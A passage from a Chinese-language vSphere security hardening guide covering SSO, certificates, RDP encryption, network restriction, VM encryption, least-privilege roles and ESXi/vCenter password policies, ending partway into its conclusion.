会话身份验证复选框来登录,而无需重新输入其 Windows 密码。 3.vSphere Client 将登录信息传递到 vCenter Single Sign-On 服务,该服务将 检查 vSphere Client 的 SAML 令牌。如果 vSphere Client 具有有效令牌,vCenter Single Sign-On 随 后 会 检 查 用 户 是 否 位 于 已 配 置 的 标 识 源 中( 例 如,Active Directory)。 a) 如果仅使用用户名,则 vCenter Single Sign-On 将在默认域中执行检查。 b) 如果域名随用户名一起提供(DOMAIN\user1 或 user1@DOMAIN),则 vCenter Single Sign-On 将检查该域。 4. 如果用户可以对此标识源进行身份验证,则 vCenter Single Sign-On 会返回 表示 vSphere Client 的用户的令牌。 5.vSphere Client 将令牌传递到 vCenter Server 系统。 6.vCenter Server 与 vCenter Single Sign-On 服务器确认令牌是否有效且未过 期。 7.vCenter Single Sign-On 服务器将令牌返回到 vCenter Server 系统,从而使 用 vCenter Server 授权框架以允许用户访问。 设置sso 登录 vSphere Client-> 系统管理 ->Single Sign On-> 配置 -> 标识源 5.2.4 避免匿名管理员登录 避免使用匿名管理员 administrator 登录 vSphere Client,因为匿名管理员权 限过于大,如果账号泄露,或者钓鱼被攻击者所利用,将会造成不可估量的损失。 因此我们应该对administrator权限进行细分,这样增加了攻击者对系统攻击的时间, 也减小了受攻击后的损失。 ITDR 之 vSphere 98 5.2.5 验证 vSphere Client 证书 如果客户端未经过证书的验证,用户很有可能收到 MITM( 中间人攻击 ),因此 在向 vSphere Client 进行认证的时必须验证其证书。 如何防止证书认证过期 ◑ 为 vCenter 证书过期警告设置阈值 vCenter Server 可监控 VMware 端点证书存储 (VECS) 中的所有证书,并在证 书离过期还有 30 天或少于 30 天时发出警报。可以使用 vpxd.cert.threshold 高级选 项更改向您发出警告的时间。 登录到 vSphere Client> 选择 vCenter Server 对象,然后单击配置 > 单击高级 设置 > 单击编辑设置,然后针对阈值进行筛选 > 将 vpxd.cert.threshold 的设置更改 为所需值,然后单击保存。 ◑ 替换或者续订证书 使用 vSphere Client 登录 vCenter Server> 系统管理 > 在证书下 > 单击证书管 理 > 点击续订或者替换过期证书 5.2.6 设置vCenter虚拟主机RDP高级别加密 RDP 是远程桌面协议,它允许系统用户通过图形用户界面连接到远程系统,在 vCenter 中,建立在 vCenter 架构上的 windows 主机,务必设置远程桌面的加密 级别为最高级别。 5.vSphere 加固 99 在默认情况下,该协议的客户端代理内置在微软的操作系统中,系统在端口 3389 来监听来自客户端的通过 RDP 的连接请求。在企业中,RDP 或者终端服务会 话被配置在需要分布式客户端机器来连接的服务器上。它可以用于管理、远程访问, 或者发布用于中央使用的应用程序。该协议还常被桌面管理员用来远程访问用户系 统,以协助排除故障。如果 RDP 没有正确配置的话,这种特定功能将会给企业带来 威胁,因为未授权访问者将可以访问关键企业系统。 在使用远程桌面服务期间,如果已启用客户端连接加密级别,Window 终端通 过 RDP 协议与终端服务器连接时,所有在网络中传输的数据都将经过加密。根据加 密方法的不同,RDP 加密级别分为高级别、客户端兼容级别、低级别三类: ◑ “高”级别使用 128 位的强加密 RC4 算法,对客户端和服务器之间发送 的数据进行加密。当终端服务器运行在仅包含 128 位客户端(例如运行 Windows Server 2003 家族操作系统之一的客户端)的环境中时,才使用该级别。不支持该加 密级别的客户端将无法进行连接。 ◑ “客户端兼容”级别以客户端所支持的最大密钥强度来加密客户端和服务 器之间发送的数据。如果终端服务器的运行环境包含混合或旧的客户端,请使用此 级别。 ◑ “低”级别将使用 56 位加密对从客户端传输到服务器的数据进行加密。对 从服务器传输到客户端的数据不进行加密,需要抓包分析时请将加密级别设置为” 低”。 打开组策略并在”计算机配置”—》”管理模板”—》”Windows 组件”—》” 远程桌面服务”—》”远程桌面会话主机”—》”安全”,双击”设置客户端连接 加密级别”设置,然后单击”已启用”。 ITDR 之 vSphere 100 5.2.7 限制vCenter Server网络连接 vCenter Server 是 VMware vSphere 虚拟化架构的核心管理组件,为 ESXI 主 机和虚拟机提供管理服务,利用 vCenter Server 可以集中管理多台 ESXI 主机和虚 拟机。 对于攻击者来说,拿下 vCenter Server 就意味着对其管理的所有虚拟机拥有完 全的访问控制权限,所以也就理所当然成为黑客的重点攻击目标。 对于企业来说想 要提高系统整体安全性,通过限制 vCenter Server 网络连接,来防御黑客特定类型 的攻击是必要的措施。 加固建议 为提高安全性,vCenter Server 仅需要访问管理 网络,避免将 vCenter Server 系统放置在其他网络(如生产网络、存储 网络或有权访问 Internet 的任何网络)上。 在 vCenter Server 上使用防火墙,包含基于 IP 的访问限制,这样只有必要的组 件才能与 vCenter Server 系统通信。 vCenter Server 需要与以下系统建立网络连接: 1. 所有 ESXI 主机。 2.vCenter Server 数据库。 3. 其他 vCenter Server 系统(如果 vCenter Server 系统是用于复制标记、权 限等的常见 vCenter Single Sign-On 域的一部分)。 5.vSphere 加固 101 4. 有 权 运 行 管 理 客 户 端 的 系 统。 例 如,vSphere Client( 您 在 其 中 使 用 PowerCLI 的 Windows 系统) 或任何其他基于 SDK 的客户端。 5. 基础架构服务,例如 DNS、Active Directory 和 PTP 或 NTP。 6. 运行对 vCenter Server 系统功能至关重要的组件的其他系统。 加固方法 vCenter Server 管理界面 -> 防火墙 -> 添加对应规则。 ITDR 之 vSphere 102 5.2.8 关键业务系统设置虚拟机加密 从 vSphere 6.5 开始,就可以利用 vSphere 虚拟机加密来创建加密虚拟机并加 密现有虚拟机。由于所有包含敏感信息的虚拟机文件都会加密,只有具备加密特权 的管理员才能执行加密和解密任务,所以可以有效限制未授权访问从而达到提升系 统安全性的目的。 最佳做法 在使用虚拟机加密之前,首先需要遵循遵循以下做法来避免遇到问题 : ◑ 不要加密任何 vCenter Server Appliance 虚拟机。 ◑ 如果 ESXI 主机发生故障,需要尽快检索支持包。如果重新引导主机,主机 密钥可能会更改,则无法再生成包含密码的支持包。 ◑ 谨慎管理 KMS 集群名称。如果已在使用的 KMS 的 KMS 集群名称发生更改, 则使用此 KMS 中的密钥加密的虚拟机在打开电源或进行注册时将进入锁定状态。 ◑ 不要编辑 VMX 文件和 VMDK 描述符文件。这些文件包含加密包,所做更改 可能会使虚拟机不可恢复,并且可能无法修复恢复问题。 ◑ 加密过程在将主机上的数据写入到存储之前会对其进行加密。后端存储功 能(如去重和压缩)可能对加密的虚拟机无效。使用 vSphere 虚拟机加密时需要权 衡考虑存储。 加固方法 新建加密虚拟机: 设置密钥管理服务器集群 ( 密钥提供程序 ) →创建加密存储策略→创建加密虚拟机 首先添加标准密钥程序 主页 - 策略和配置文件 - 创建虚拟机存储策略 - 创建加密虚拟机 5.vSphere 加固 103 加密现有虚拟机: 打开 VMware vSphere Client 管理界面→选中目标主机→编辑设置 ITDR 之 vSphere 104 选中虚拟机选项→加密虚拟机(注意需要提前建立对应加密策略,具体步骤同上) 5.vSphere 加固 105 5.2.9 使用vSphere Trust Authority vSphere Trust Authority (vTA) 是 vSphere 7 推出的一项基础性的安全技术, 其目的是要建立起一整套安全信任体系。通过 vSphere Trust Authority,可以设置 和维护一个安全基础架构,可以确保敏感工作负载仅在已证明安装有真实引导软件 的 ESXi 主机上运行。 对于 vSphere 6.7 来说 ,它能够检测一台服务是否处于信任状态,没有通过主 机证明则会产生一条警告。但是 vSphere 6.7 没有来得及实现安全控制,安全敏感 的虚机还是可以运行在没有通过安全证明的主机上。另外,vCenter 本身也是一台 虚拟机,主机的安全证明状态都记录在 vCenter 中,谁又来证明 vCenter 这台虚机 的可信程度呢? 上述这些问题都在 vSphere Trust Authority 中得到了进一步的解决,从而形成 了完整的安全信任体系。在这个体系里,我们可以设立专门的受信主机来为其他服 务器进行安全证明,并由此建立一套 vTA 集群,这个集群不运行其他的工作负载, 所以组成该集群的服务器不需要强大的计算能力。并且这个集群由专人管理,这样 就把安全管理员和其他的管理员分离开来,在安全上更加合规可靠。 具体实现图: 上图就是 vSphere Trust Authority (vTA) 实现的一个例子,其中蓝色的主机就 是 vTA 集群,左侧是运行工作负载的服务器,它们都由受信任的 vTA 主机来进行安 全证明,绿色的是通过安全证明的服务器,红框内的就是未通证明的服务器。 5.2.10 vCenter Server时间同步设置 对于企业来说采取措施保障 vCenter Server 的时间同步是至关重要的,比如在 ITDR 之 vSphere 106 遭受网络攻击之后,vCenter 生成的日志反映正确的时间对于后续的分析溯源具备 很大的参考意义。 如果日志文件与之不协调,用户的安全关联工具就会毫无意义, 一个非同步的网络意味着后续需要花费大量的时间手动跟踪各种安全事件。 对于 vCenter Server,可以选择两种时间同步方法:使用 NTP 服务器或使用 VMware Tools。但是通常利用网络时间协议 (NTP) 比 VMware Tools 周期性时间同 步更准确,因此更建议使用 NTP 服务器同步。 加固方法 使用管理员身份 SSH 登陆 vCenter Server 后台 将 NTP 服务器添加到 vCenter Server 配置中,这里可以选择阿里或其他厂商 的 NTP 服务器,如果处于内网环境无法连接外网需要搭建自己的一台 NTP 服务器 来同步时间 验证 NTP 服务器是否可访问 添加 NTP 服务器到 vCenter Server 配置 5.vSphere 加固 107 启用基于 NTP 的时间同步 5.3 权限管理 在 vCenter 中权限的概念相对来说比较复杂,我们需要给不同的用户分配不同 的权限,只有做到对权限的合理分配,才能够尽可能地避免因为权限的分配不合理 导致的攻击事件发生。 5.3.1 限制用户对虚拟机控制台的访问 虚拟机控制台可以对 vCenter Server 及 vCenter Server 下的数据中心、集群、 ESXi 主机、虚拟机、虚拟机网络、存储等进行操作。当员工或黑客访问并登录到虚 拟机控制台,很可能因为员工误操作或者黑客的恶意攻击对正常的生产系统进行破 坏,如对虚拟机进行关机或者对关机的虚拟机进行启用,这样就会对企业造成损失。 同时为了确保虚拟机敏感信息的安全,也应禁用客户机操作系统中的部分远程操作。 加固建议 1. 首先应该在 VMware 远程控制台 中限制最大会话数量,例如,在高度安全的 环境中,将连接数限制为一,只在需要时才授予对虚拟机控制台的访问权限,防止 管理员用户被盗用后, 黑客与正常用户同时登录操作。在某些环境中,可以根据完 成正常任务所需的并发连接数增加此限额。 2. 如果用户一定要访问虚拟机控制台,则应该在新建角色时取消角色对虚拟机 电源、连接、关闭电源的权限,防止误操作和恶意操作开关虚拟机破坏生产环境。 3. 应该使用本机远程管理服务(如终端服务和 SSH)与虚拟机进行交互。 加固方法 关闭虚拟机的电源→右键单击虚拟机→编辑设置→虚拟机选项→展开 VMware 远程控制台选项→输入会话数上限,例如 ITDR 之 vSphere 108 5.vSphere 加固 109 系统管理→角色→创建角色操作图标→键入角色的名称→取消选择虚拟机电源、连接、关闭电源的操作特权 →确定。 5.3.2 细化vCenter全局权限 全局权限应用到跨多个解决方案的全局根对象。在内部部署 SDDC 中,全局权限可能同时跨 vCenter Server 和 vRealize Orchestrator。但是,对于任何 vSphere SDDC,全局权限将应用于全局对象,如标记和内容库。 可 以向用户或组分配全局权限,确定每个用户或组的角色。角色确定用户或组针对层次结构中所有对象所具有的一 组特权。既可以分配预定义角色,也可以创建自定义角色。其中 vCenter Server 权限和全局权限不同,前者作用 于 vCenter Server 清单对象,如虚拟机。操作时,指定拥有对象角色(特权集)的用户或组。而全局权限向用户 和组提供查看或管理部署的每个清单层次结构中所有对象的特权。全局权限还将应用于全局对象,如标记和内容 库。 注意:如果分配了全局权限但未选择“传播”,则与此权限关联的用户或组无法访问层次结构中的对象。这 些用户和组仅拥有某些功能的访问权限,如创建角色。 因此全局权限具有查看或管理部署的每个清单层次结构中所有对象的特权,此权限过大,应当小心谨慎的分 配全局权限,避免因为员工误操作或黑客的恶意操作对生产系统造成不必要的损害。 ITDR 之 vSphere 110 加固建议 谨慎使用全局权限,除非确实希望分配对所有清单层次结构中所有对象的权限。 加固方法 系统管理 → 访问控制 → 全局权限 → 权限提供程序 → 下拉菜单中选择域 → 单击添加 → 选择将拥有选定角 色所定义的特权的用户或组 → 从域下拉菜单中,选择用户或组所在域 → 在“搜索”框中输入名称 → 选择用户或 组 → 从角色下拉菜单中选择角色 → 通过选中传播到子对象复选框,决定是否传播权限( 如果分配了全局权限但 未选中 传播到子对象,则与此权限关联的用户或组无法访问层次结构中的对象。这些用户和组仅拥有某些功能的 访问权限,如创建角色。)→单击确定。 5.vSphere 加固 111 例如:在设置 vCenter 备份监视权限时,需要在 vCenter 中设置管理自定义属性和设置自定义属性这两个全 局权限。 在设置 vCenter Server 级别基于主机的无代理备份和虚拟备份的权限时,需要禁用方法、启用方法和许可这 三个全局权限。 5.3.3 细化虚拟机权限 虚拟机权限是一个权限组,不仅覆盖范围广,同时涉及多项危险操作以及敏感数据访问操作。虚拟机权限组有: 虚拟机配置权限、虚拟机客户机操作权限、虚拟机交互权限、虚拟机清单权限、虚拟机置备权限、虚拟机服务配 置特权、虚拟机快照管理特权、虚拟机 vSphere Replication 特权等,涵盖虚拟机的磁盘,配置,操作,硬件,电源, 虚拟机下载,访问磁盘等 91 项特权。 因此,如果直接勾选虚拟机组的权限,员工可能进行误操作进行虚拟机的开机与关机,对生产环境造成损害, 黑客也可以进行各类高危操作,同时也可以访问磁盘、访问敏感文件以及或者直接打包下载虚拟机进行离线破解。 加固建议 基于权限最小化原则,必须在新建角色时了解并细化虚拟机组权限的 91 项特权,防止权限滥用。 加固方法 系统管理 → 角色 → 点击创建角色图标 → 键入新角色的名称 → 根据实际情况选择和取消选择角色的虚拟机 特权 → 单击创建 ITDR 之 vSphere 112 5.3.4 细化特权角色权限分配 角色是一组预定义的特权。特权定义了执行操作和读取属性所需的权限。例如,虚拟机管理员角色允许用户 读取和更改虚拟机属性。分配权限时,可将用户或组与角色配对,并将该配对与清单对象关联。对于清单中的不 同对象,单个用户或组可能有不同角色。 例如,假设清单中有两个资源池(池 A 和池 B)。可以为组 Sales 在池 A 上分配虚拟机用户角色,而在池 B 上分配只读角色。执行上述分配后,组 Sales 中的用户可以打开池 A 中的虚拟机,但只能查看池 B 中的虚拟机。 默认情况下,vCenter Server 可提供系统角色和样本角色。 系统角色 : 系统角色是永久的。不能编辑与这些角色关联的特权。 样本角色 :VMware 可为某些频繁执行的任务组合提供样本角色。您可以克隆、修改或移除这些角色。 在新建自定义角色的时候,可以选择预定义的角色,如管理员,网络管理员,虚拟机用户等来获得预定的权限, 在实际运用中可能会出现预定角色特权多余或少于实际需要,如果多余特权过多,则会造成权限滥用或被攻击隐 患。基于权限最小化原则,应该仔细审核预定角色的特权,如有多余特权,则应该使用新建自定义角色合理细化 权限。 5.vSphere 加固 113 加固建议 遵循角色和权限的最佳做法可充分提高 vCenter Server 环境的安全性和易管理性。在 vCenter Server 环境 中配置角色和权限时,请遵循以下最佳做法: 1. 请向组分配角色,而不要向单个用户分配角色。 2. 仅授予对被需要对象的权限,仅向必须拥有特权的用户或组分配特权。使用最少权限数以使了解和管理权 限结构变得更容易。 3. 如果要为组分配限制性角色,请检查该组是否包括管理员用户或其他具有管理特权的用户。否则,您可能 无意识地限制了部分清单层次结构(已从中向该组分配了限制性角色)中管理员的特权。 4. 使用文件夹对对象进行分组。例如,要授予对一组主机的修改权限并授予对另一组主机的查看权限,请将 各组主机置于一个文件夹中。 5. 向根 vCenter Server 对象添加权限时要小心。具有根级别特权的用户有权访问 vCenter Server 上的全局 数据,例如,角色、自定义属性、vCenter Server 设置。 6. 考虑向对象分配权限时启用传播功能。传播可确保对象层次结构中的新对象继承权限。例如,可以将权限 分配给虚拟机文件夹并启用传播,以确保权限应用于该文件夹中的所有虚拟机。 7.使用“无权访问”角色屏蔽层次结构的特定区域。 “无权访问”角色会限制具有该角色的用户或组的访问权限。 8. 对权限所做的更改将传播到同一 vCenter Single Sign-On 域中的所有链接 vCenter Server 系统。 9. 即使用户并未对所有 vCenter Server 系统拥有特权,也会发生权限传播。 10. 为了满足环境的访问控制需求以及细化特权角色权限分配,可以创建 vCenter Server 自定义角色。可以 创建角色或克隆现有角色。 加固方法 系统管理 → 角色 → 点击创建角色图标 → 键入新角色的名称 → 根据实际情况选择和取消选择角色的特权 → 单击添加 ITDR 之 vSphere 114 5.3.5 授予vCenter数据库用户最小的特权 vCenter Server 需要使用数据库存储和组织服务器数据。可以选择内嵌的 PostgreSQL 数据库,也可以继续 使用外部数据库,比如支持将 Oracle 和 Microsoft SQL 数据库用作外部数据库。 虽然安装程序会自动配置数据库, 但也可以手动或通过脚本配置外部数据库。此外,数据源名称用户必须有一系列特定的权限。Update Manager 安装和升级所需的数据库特权集因 Update Manager 管理所需的特权集而异。 安装或升级 Update Manager 之前,您必须向数据库用户授予以下足够特权 : ◑ Oracle: 分配 DBA 角色,或向 Update Manager Oracle 数据库用户授予以下特权集。 ✓ 1. 连接 ✓ 2.execute on dbms_lock ✓ 3. 创建视图 ✓ 4. 创建过程 ✓ 5. 创建表 ✓ 6. 创建序列 ✓ 7 . 创建任何序列 ✓ 8 . 创建任何表 ✓ 9. 创建类型 ✓ 10. 不受限制的表空间 ◑ Microsoft SQL Server: 确保数据库用户具有 Sysadmin 服务器角色或 Update Manager 数据库和 MSDB 数据库上的 db_owner 固定数据库角色。虽然升级需要 db_owner 角色,但系统不会在 Update Manager 安装或升级过程中创建 SQL 作业。 要运行Update Manager,必须向数据库用户授予以下最低权限: ◑ Oracle: 5.vSphere 加固 115 1. 创建会话 2. 创建任何项 3. 删除任何表 虽然数据源名称用户必须有一系列特定的权限,但是,数据库用户仅需要特定于数据库访问的某 些特权,某些特权仅在进行安装和升级时需要,在安装或升级 vCenter Server 之后,最安全的做法是 移除数据库管理员的这些特权。 5.3.6 限制数据存储浏览器访问 使用数据存储文件浏览器可管理数据存储的内容,可以浏览存储在数据存储中的文件夹和文件, 还可以使用该浏览器上载文件并对文件夹和文件执行管理任务。 数据存储浏览器功能: 1. 使用数据存储文件浏览器可将文件上载至 ESXi 主机上的数据存储。如果使用 vSphere Client, 也可以上载文件夹。除了用作虚拟机文件存储这一传统用法外,数据存储还可用于存储与虚拟机有关 的数据或文件。例如,可以将操作系统的 ISO 映像从本地计算机上载至主机上的数据存储,然后使用 这些映像在新虚拟机上安装客户机操作系统。 2. 使用数据存储文件浏览器从您的 ESXi 主机上可用的数据存储下载文件到您的本地计算机上。 3. 可以使用数据存储浏览器将文件夹或文件移动或复制到一个新的位置(该位置可以在同一数据 存储上,也可在其他数据存储上)。 4. 使用数据存储浏览器重命名文件。 5. 如果创建的是精简格式的虚拟磁盘,可以将其格式更改为厚磁盘。 因为浏览数据存储特权具有上传、下载、删除、新建文件夹等功能,普通员工或者黑客可以从 ESXi 磁盘上查看敏感文件,甚至将磁盘敏感文件下载到本地计算机上,造成敏感信息泄露。黑客同样 可以将虚拟机快照打包后下载,离线获取用户 hash 后,使用账号密码正常登录虚拟机,因此必须限 制数据存储浏览器特权的滥用。 加固建议 仅将 数据存储 . 浏览数据存储 特权分配给真正需要这些特权的用户或组。拥有特权的用户可以通 过 Web 浏览器或 vSphere Client 在 vSphere 部署关联的数据存储上查看、上载或下载文件。 ITDR 之 vSphere 116 加固方法 打开数据存储浏览器:打开清单中的 数据存储 → 右击数据存储 → 浏览文件 → 利用图标和选项执行管理任务 5.vSphere 加固 117 系统管理 → 角色 → 点击创建角色图标 → 键入新角色的名称 → 取消数据存储 . 浏览数据存储 → 单击添加 ITDR 之 vSphere 118 5.3.7 限制用户在虚拟机中运行命令 默认情况下,具有 vCenter Server 管理员角色的用户可与虚拟机客户机操作系统内的文件和程序交互。为了 降低损害客户机保密性、可用性或完整性的风险,应该创建没有客户机操作特权的非客户机访问角色。 为安全起见,应该严格限制对虚拟数据中心的访问,严格程度与限制对物理数据中心的访问相同。为避免授 予用户完全管理员访问权限,请创建禁用客户机访问的自定义角色,并将该角色应用于需要管理员特权但无权与 客户机操作系统内的文件和程序交互的用户。 例如,某项配置可能包括其上带有敏感信息的基础架构中的虚拟机。通过 vMotion 和 Storage vMotion 进行 迁移等任务要求 IT 角色有权访问该虚拟机。在这种情况下,应禁用客户机操作系统中的部分远程操作,以确保该 IT 角色无法访问敏感信息。 加固建议 仅将虚拟机客户机操作特权分配给真正需要这些特权的用户或组。拥有特权的管理员用户可以在虚拟机中访 问文件,与程序交互,或者执行命令,而正常情况下只有特定的用户有权限进行操作,以防泄露客户机敏感内容。 加固方法 系统管理 → 角色 → 点击创建角色图标 → 键入名称“无客户机访问权限的管理员” → 取消虚拟机 . 客户机 操作整组的特权 → 单击添加 5.vSphere 加固 119 5.4 密码策略管理 密码作为一种用户进入系统的重要凭证,对密码进行合理的管理是具有重要意义的。尽管人们都知道密码的 重要性,但是因为密码泄露导致的网络安全事件时有发生。在每年的护网行动中,都存在因为密码管理不严格导 致攻击者突破密码进入系统,最终导致系统权限丢失。在真实的网络攻击中,很多时候也是因为最初对密码管理 不严格,导致攻击者拿到密码进入系统,然后对系统进一步渗透,最终导致整个网络失陷。所以,要做到密码的 安全性,我需要从密码策略、密码长度、密码复杂度等方面,对密码进行加固与管理。 5.4.1 开启ESXI密码策略 对于 ESXi 主机,必须使用符合预定义要求的密码。可以更改所需密码长度、字符类别要求,或者允许使 用密码短语,所有这些设置都可使用 Security.PasswordQualityControl 高级选项实现。还可以使用 Security. PasswordHistory 高级选项设置要为每个用户记住的密码数。使用 Security.PasswordMaxDays 高级选项,可以 设置两次更改密码之间的最大天数。 如果密码策略设置不当,将给账户带来安全隐患,比如密码长度不够、复杂度不够、永不过期等。 ITDR 之 vSphere 120 加固建议 1. 默认情况下,在创建密码时,必须至少包括以下四类字符中三类字符的组合:小写字母、大写字母、数字 和特殊字符(如下划线或短划线)。 2. 默认情况下,密码长度至少为 7 个字符,且小于 40 个字符。 3. 密码不得包含字典单词或部分字典单词。 注:密码开头的大写字母不算入使用的字符类别数。密码结尾的数字不算入使用的字符类别数。密码内使用 的字典词可降低整体密码强度。 加固方法 1. 登录 web 端 ESXI 管理平台。 2. 点击左边的 “管理”。 3. 点击 “高级”,在搜索框中搜索”pass”,找出密码配置相关项。 1. 点击 Security.PasswordQualityControl ,并点击编辑选项,编辑它的值来配置相关的密码策略。 5.vSphere 加固 121 5.4.2 细化密码策略 密码长度小,容易受到暴力破解的攻击,并且破解的成功率极高。为了账户的安全性,很多系统都要求密码 至少为一定长度的位数,用以延长暴力破解成功的时间。但是,为了满足客户的自定义需求,一些系统是支持自 定义密码长度的,这就有可能导致用户设置位数较小的密码,给账户的安全性带来了极大的安全隐患。 加固建议 设置密码的长度至少为 7 位。 加固方法 ESXi 中设置密码的长度: 1. 登录 ESXi 系统。 2. 点击 “管理 -> 系统 -> 高级设置”。 3. 在右边 搜索框中 搜索 “pass” ,找到 结果 “Security.PasswordQualityControl”,并选中。 编辑选项,修改对应的值即可。 vCenter中设置密码的长度: 1. 登录 vCenter 来到系统主页,点击左边的 “系统管理”。 2. 点击 Single Sign On 下的 “配置”。 ITDR 之 vSphere 122 点击 “策略 -> 密码策略 -> 编辑”,即可设置密码的最小长度。 将密码的最小长度设置为 7 5.4.3 定期修改vpxuser密码 将 ESXI 主机添加到 vCenter Server 清单中时,vCenter Server 会在该主机上创建称为 vpxuser 的特殊用户 帐户。vpxuser 是特权帐户,管理主机的活动时,vCenter Server 使用 vpxuser 特权。 默认情况下,vCenter Server 使用 OpenSSL 密码库作为随机来源,每 30 天生成一个新的 vpxuser 密码。 密码长度为 32 个字符,且必须至少包含一个属于以下四个字符类别的符号:符号 (-./:=@[\\]^_{}~)、数字 (1-9)、 大写字母和小写字母。 5.vSphere 加固 123 加固建议 确保 vpxuser 密码定期过期在一定程度上能够限制攻击者的攻击。 注意: 1. 为了防止出现 vCenter Server 被锁在 ESXi 主机外的可能性,密码时效策略限定的时间不得短于设置为自 动更改 vpxuser 密码的时间间隔。 2. 不能使用 Active Directory 管理 vpxuser。 3. 不要以任何方式更改 vpxuser。不要更改其密码。不要更改其权限。如果进行了更改,在通过 vCenter Server 处理主机时可能会出现问题。 加固方法 1. 使用 vSphere Client 登录到 vCenter Server 系统。 2. 在对象层次结构中选择 vCenter Server 系统。 点击主机和集群 单击配置。 单击高级设置,然后单击编辑设置。 单击筛选器图标,然后输入 VimPasswordExpirationInDays。 ITDR 之 vSphere 124 根据您的要求设置 VirtualCenter.VimPasswordExpirationInDays。 5.4.4 细化密码复杂度 为了防止账号被攻击者轻易破解或账号被恶意利用,一般,各大网络平台或者产品都会要求设置相对 复杂的密码。然而,这样的要求也不是不可改变的,随着用户对密码策略进行了自定义设置,那么密码的 复杂度也会随之而更改。对于 ESXi 和 vCenter 的默认复杂度不算低,至少都包含了 7 个字符 ( 包括数字、 字母区分大小写、特殊字符组成 )。但是,如果用户自己修改密码策略,将密码复杂度调低,这样就可以 设置弱密码,造成密码复杂度异常现象。为了账户的安全性,建议通过修改 ESXi 和 vCenter 的密码策略, 调高密码复杂度。 加固建议 ESXi 密 码 限 制 由 Linux PAM 模 块 pam_passwdqc 确 定。 可 以 使 用 Security. PasswordQualityControl 高级系统设置更改所需长度和字符类别要求或允许密码短语。还可以使用 Security.PasswordHistory 高级系统设置来设置要为每个用户记住的密码数。ESXi 对从直接控制台用户 界面、ESXi Shell、SSH 或 VMware Host Client 进行的访问强制执行密码要求。 1. 默认情况下,在创建密码时,必须至少包括以下四类字符中三类字符的组合:小写字母、大写字母、 数字和特殊字符(如下划线或短划线)。 2. 默认情况下,密码长度至少为 7 个字符,且小于 40 个字符。 3. 密码不得包含字典单词或部分字典单词。 4. 密码不得包含用户名或部分用户名。 5.vSphere 加固 125 vCenter Single Sign-On 管理员(默认为 administrator@vsphere.local)的密码由 vCenter Single Sign- On 密码策略指定。默认情况下,它的密码设置要求为: 1. 至少八个字符。 2. 至少一个小写字符。 3. 至少一个数字字符。 4. 至少一个特殊字符。 加固方法 设置ESXi密码复杂度 1. 登录 ESXi,点击 “管理 -> 高级设置”。 2. 在右边搜索框中搜索 “pass”,可匹配出和密码设置相关的控制字符。 3. 选中 Security.PasswordQualityControl ,再点击编辑选项,可修改密码复杂度。 设置vCenter密码复杂度 1. 登录 vCenter。 2. 点击左边的 “系统管理”。 3. 点击 左边 “配置”。 点击右边 “编辑” 即可设置密码复杂度。 ITDR 之 vSphere 126 5.4.5 优化无用或长时间非活跃的账户 由于临时的需要创建的账户,使用完之后没有及时地删除,那么这类账户自然就属于无用的账户。另一类账 户,就是为某个人专门创建的账户,由于他没有登录系统的需求或者是登录较少,那么就造成了他的账户长时间 不活跃。如果系统中存在无用或长时间不活跃的账户,这是会给系统带来安全风险的,比如攻击者拿到账号的权 限,他就可以把这种账号作为后门,继续对系统进行长期渗透与控制。因此,对于无用的或长时间不活跃的账户, 值得去关注及加固。 加固建议 1. 定期检查系统的账户,梳理出哪些是无用的账户,哪些是非活跃账户。 2. 对于无用的账户,应该及时删除。 3. 对于非活跃账户,及时禁用这类账户,如果有需要,再次启用。 5.4.6 优化无用或长时间非活跃的管理员账户 由于临时的需要创建的账户,使用完之后没有及时地删除,那么这类账户自然就属于无用的账户。另一类账户, 就是为某个人专门创建的账户,由于他没有登录系统的需求或者是登录较少,那么就造成了他的账户长时间不活 跃。如果系统中存在无用或长时间不活跃的账户并且它们都具有管理员权限,那么这些账号一旦被攻击者控制, 带来的风险将是巨大的,相当于直接拥有整个系统的控制权。 加固建议 1. 定期检查系统的账户,梳理出哪些是无用的管理员账户,哪些是非活跃的管理员账户。 2. 对于无用的管理员账户,应该及时删除。 3. 对于非活跃的管理员账户,及时禁用,如果有需要,再次启用。 5.4.7 优化密码过期时间异常用户 一般地,为了保证账户的安全性,很多系统都会有一个合适的密码过期机制,这样就有效地避免了因为长时 5.vSphere 加固 127 间使用同一个密码造成密码泄露,也就在一定程度上增强了密码的安全性。尽管如此,基于便捷,很多人还是趋 向于将密码设置为永不过期,这就导致存在永不过期的账户。 加固建议 1. 定期排查账户,看哪些账户密码过期时间异常。 2. 针对异常用户,设置合理的密码有效期。 3. 登录 ESXi 和 vCenter 将设置全局密码策略,将密码过期时间设置为 90 天。 操作演示 ESXi设置密码过期策略: 登录 ESXi -> 主界面 -> 管理 -> 高级设置 -> 搜索 “pass”,找到 Security.PasswordMaxDays -> 编辑选项 vCenter设置密码过期策略: 登录 vCenter -> 主界面 -> 系统管理 -> Single sign On -> 配置 -> 策略 -> 密码策略 -> 编辑 5.4.8 特权账号密码没有定期修改 特权账号一般具有特定的用途或者具有高的权限,如果特权账号泄露,被攻击者恶意利用,造成的影响也是 非常大的,比如删除,修改,新增虚拟机等。 ITDR 之 vSphere 128 ESXi主机特权账号 如果环境不包含 vCenter Server 系统,则会预定义账户 root、vpxuser、dcui,这些账户是具有不同用途的 特权账户。 ✓ root 账户:默认情况下,每个 ESXi 主机都有一个具有管理员角色的 root 用户帐户。该 root 用户帐户可 用于本地管理,并可用于将主机连接到 vCenter Server。 ✓ vpxuser 账户:管理主机的活动时,vCenter Server 使用 vpxuser 特权。 ✓ dcui 账户:dcui 用户以管理员权限在主机上操作。此用户的主要目的是从直接控制台用户界面 (DCUI) 配置锁定模式的主机。此用户将充当直接控制台的代理,无法由交互式用户来修改或使用。 vCenter特权账号 ✓ 特权:特权是精细的访问控制。可以将这些特权分组到角色中,然后可以将其映射到用户或组。 ✓ 角色:角色是指一组特权。 ✓ 用户和组:在 vCenter Server 系统中,可以仅向经过身份验证的用户或经过身份验证的用户组分配特权。 ✓ 权限:vCenter Server 对象层次结构中的每个对象都具有关联的权限。每个权限为一个组或用户指定该 组或用户具有对象的哪些特权。 加固建议 针对 ESXi 主机 定期修改 root、vpxuser 的密码,并且设置一定复杂度的密码 针对 vCenter 1. 定期梳理出账号具有哪些特权。 2. 根据权限最小化原则,取消账号不必要的特权。 3. 定期修改这些特权账号的密码。 5.vSphere 加固 129 结语 06 ITDR 之 vSphere 130 6. 结语 如今 IT 架构的变革,企业云上业务的大规模普及,完善、稳定、易用的 vSphere 方案成为企业自建云的一个首选方案,而攻击者针对 vSphere 的攻击层 出不穷,在可预见的未来,攻击将变得更加深入且复杂,而其唯一不变的核心目标 